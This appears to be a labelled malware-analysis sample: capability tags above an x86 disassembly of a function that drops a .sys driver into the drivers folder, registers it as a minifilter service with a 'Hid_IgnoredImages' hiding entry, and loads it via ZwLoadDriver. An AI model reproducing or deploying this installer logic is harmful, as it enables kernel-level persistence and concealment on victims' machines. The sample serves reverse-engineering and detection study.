Function at 0x1001db60
Capabilities:
Get common file path
Persist via windows service
Set registry value
Write file on windows

Disassembly:
sub esp, 0x318
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x24]
push 0x104
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x24]
test eax, eax
mov edi, str._sysnativedrivers_
jne 0x1001dbaa
mov edi, str._system32drivers_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x330]
and ecx, 3
lea edx, [esp + 0x28]
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x2c]
and ecx, 3
push 2
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push eax
and ecx, 3
lea eax, [esp + 0x38]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001dc9a
mov eax, dword [esp + 0x18]
mov ecx, 0x10110510
test eax, eax
jne 0x1001dc5e
mov ecx, 0x10100ec8
neg eax
sbb eax, eax
lea edx, [esp + 0x14]
and eax, 0x3a00
push 0
add eax, 0xf648
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x1001dc94
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
push 0
push 0x20006
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x3c]
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1001dd1f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push str.Type
push eax
mov dword [esp + 0x2c], 2
call ebp
test eax, eax
je 0x1001dd60
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x2c], 1
call ebp
test eax, eax
je 0x1001dd9b
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push str.ErrorControl
push eax
mov dword [esp + 0x2c], 0
call ebp
test eax, eax
je 0x1001ddd6
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
or ecx, 0xffffffff
mov edi, str.system32DRIVERS_
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 2
push 0
push str.ImagePath
push ecx
call ebp
test eax, eax
je 0x1001de91
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.DisplayName
push eax
call ebp
test eax, eax
je 0x1001deca
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, str.FSFilter_Activity_Monitor
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push 1
push eax
push str.Group
push edx
call ebp
test eax, eax
je 0x1001df2f
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, str.FltMgr
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x24]
lea ecx, [esp + ecx + 0x24]
mov word [ecx], ax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 7
push eax
mov eax, dword [esp + 0x20]
push str.DependOnService
push eax
call ebp
test eax, eax
je 0x1001dfa7
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push str.DebugFlags
push eax
mov dword [esp + 0x2c], 0
call ebp
test eax, eax
je 0x1001dfe2
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push str.SupportedFeatures
push eax
mov dword [esp + 0x2c], 3
call ebp
test eax, eax
je 0x1001e01d
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, 0x10124a94
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str.Services.exe
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._none
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x24]
lea eax, [esp + ecx + 0x24]
or ecx, 0xffffffff
mov word [eax], 0
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push 7
push eax
push str.Hid_IgnoredImages
push edx
call ebp
test eax, eax
je 0x1001e101
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or ecx, 0xffffffff
mov edi, str.SYSTEMCurrentControlSetServices_
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x28]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Instances
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
push 0
push 0x20006
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x3c]
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1001e1c8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._Instance
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.DefaultInstance
push ecx
call ebp
test eax, eax
je 0x1001e257
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or ecx, 0xffffffff
mov edi, str.SYSTEMCurrentControlSetServices_
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Instances_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._Instance
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
push 0
push 0x20006
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x3c]
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1001e373
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edi, str.370030
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push 1
push eax
push str.Altitude
push edx
call ebp
test eax, eax
je 0x1001e3d8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x24]
push 4
push ecx
push 4
push 0
push str.Flags
push edx
mov dword [esp + 0x3c], 0
call ebp
test eax, eax
je 0x1001e413
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x318
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push str.SeLoadDriverPrivilege
call fcn.1001d8c0
push 0x10100668
push str.NTDLL.DLL
call fcn.1001d6c0
push str.ZwLoadDriver
push str.NTDLL.DLL
mov esi, eax
call fcn.1001d6c0
mov edi, eax
push ebx
lea eax, [esp + 0x144]
push str.RegistryMachineSystemCurrentControlSetServices_S
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x24
lea ecx, [esp + 0x128]
lea edx, [esp + 0x1c]
push ecx
push edx
call esi
lea eax, [esp + 0x1c]
push eax
call edi
push 0
push str.SeLoadDriverPrivilege
mov esi, eax
call fcn.1001d8c0
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
pop ebp
pop ebx
setge al
add esp, 0x318
ret